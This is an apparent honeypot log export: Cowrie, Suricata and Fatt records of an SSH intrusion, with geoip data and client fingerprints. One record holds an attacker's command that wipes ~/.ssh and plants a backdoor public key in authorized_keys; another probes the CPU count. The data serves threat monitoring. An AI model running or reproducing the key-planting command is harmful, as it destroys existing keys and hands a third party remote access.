31661	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:12.87913+03	2021-09-20 15:00:02.462716+03	{"_id": "qgYIA3wBvYTbRNuEFUVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "c38f29e71fb0", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:47:12.879130Z", "@timestamp": "2021-09-20T11:47:12.879Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31662	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:13.01483+03	2021-09-20 15:00:02.463717+03	{"_id": "rQYIA3wBvYTbRNuEFUVo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "c38f29e71fb0", "@version": "1", "timestamp": "2021-09-20T11:47:13.014830Z", "@timestamp": "2021-09-20T11:47:13.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31663	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:14.779259+03	2021-09-20 15:00:02.464718+03	{"_id": "rwYIA3wBvYTbRNuEGUVR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "c38f29e71fb0", "@version": "1", "duration": 1.900484323501587, "timestamp": "2021-09-20T11:47:14.779259Z", "@timestamp": "2021-09-20T11:47:14.779Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31664	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:14.998256+03	2021-09-20 15:00:02.466717+03	{"_id": "sAYIA3wBvYTbRNuEHUU6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:14.998256Z", "@timestamp": "2021-09-20T11:47:14.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31665	107.0.200.227	109.199.241.180	Suricata	2021-09-20 14:47:11.980833+03	2021-09-20 15:00:02.467716+03	{"_id": "kwYIA3wBvYTbRNuED0U0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 74487429062630, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57830, "dest_port": 22, "timestamp": "2021-09-20T11:47:11.980833Z", "@timestamp": "2021-09-20T11:47:11.980Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31666	107.0.200.227	109.199.241.180	Fatt	2021-09-20 14:47:11.981803+03	2021-09-20 15:00:02.469717+03	{"_id": "lwYIA3wBvYTbRNuEEEU2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57830, "dest_port": 22, "timestamp": "2021-09-20T11:47:11.981803", "@timestamp": "2021-09-20T11:47:11.981Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31667	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.159086+03	2021-09-20 15:00:02.470716+03	{"_id": "wwYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:17.159086Z", "@timestamp": "2021-09-20T11:47:17.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31668	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.643782+03	2021-09-20 15:00:02.471716+03	{"_id": "xAYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:17.643782Z", "@timestamp": "2021-09-20T11:47:17.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31669	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.426903+03	2021-09-20 15:00:02.472716+03	{"_id": "xQYIA3wBvYTbRNuEJUUM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "107.0.200.227", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2679023742675781, "duplicate": true, "timestamp": "2021-09-20T11:47:17.426903Z", "@timestamp": "2021-09-20T11:47:17.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31670	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:17.909125+03	2021-09-20 15:00:02.473717+03	{"_id": "yAYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "107.0.200.227", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26546454429626465, "duplicate": true, "timestamp": "2021-09-20T11:47:17.909125Z", "@timestamp": "2021-09-20T11:47:17.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31671	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.69028+03	2021-09-20 15:00:02.475717+03	{"_id": "ywYIA3wBvYTbRNuEKEX2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:18.690280Z", "@timestamp": "2021-09-20T11:47:18.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31672	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:18.957311+03	2021-09-20 15:00:02.476717+03	{"_id": "zgYIA3wBvYTbRNuELEXe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "107.0.200.227", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.26711320877075195, "duplicate": true, "timestamp": "2021-09-20T11:47:18.957311Z", "@timestamp": "2021-09-20T11:47:18.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31673	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:19.208836+03	2021-09-20 15:00:02.478717+03	{"_id": "zwYIA3wBvYTbRNuELEXe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:19.208836Z", "@timestamp": "2021-09-20T11:47:19.208Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31674	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.017711+03	2021-09-20 15:00:02.479717+03	{"_id": "1QYIA3wBvYTbRNuEMEXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "107.0.200.227", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2664344310760498, "duplicate": true, "timestamp": "2021-09-20T11:47:20.017711Z", "@timestamp": "2021-09-20T11:47:20.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31675	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.264892+03	2021-09-20 15:00:02.480717+03	{"_id": "1gYIA3wBvYTbRNuEMEXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:20.264892Z", "@timestamp": "2021-09-20T11:47:20.264Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31676	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:20.265432+03	2021-09-20 15:00:02.481717+03	{"_id": "1wYIA3wBvYTbRNuEMEXH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:20.265432Z", "@timestamp": "2021-09-20T11:47:20.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31677	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.067882+03	2021-09-20 15:00:02.482717+03	{"_id": "2QYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "107.0.200.227", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "4e9d2d017091", "@version": "1", "duration": 0.2669038772583008, "duplicate": true, "timestamp": "2021-09-20T11:47:21.067882Z", "@timestamp": "2021-09-20T11:47:21.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31678	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 14:47:21.346091+03	2021-09-20 15:00:02.484717+03	{"_id": "2gYIA3wBvYTbRNuENEWu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.session.params", "message": [], "session": "4e9d2d017091", "@version": "1", "timestamp": "2021-09-20T11:47:21.346091Z", "@timestamp": "2021-09-20T11:47:21.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
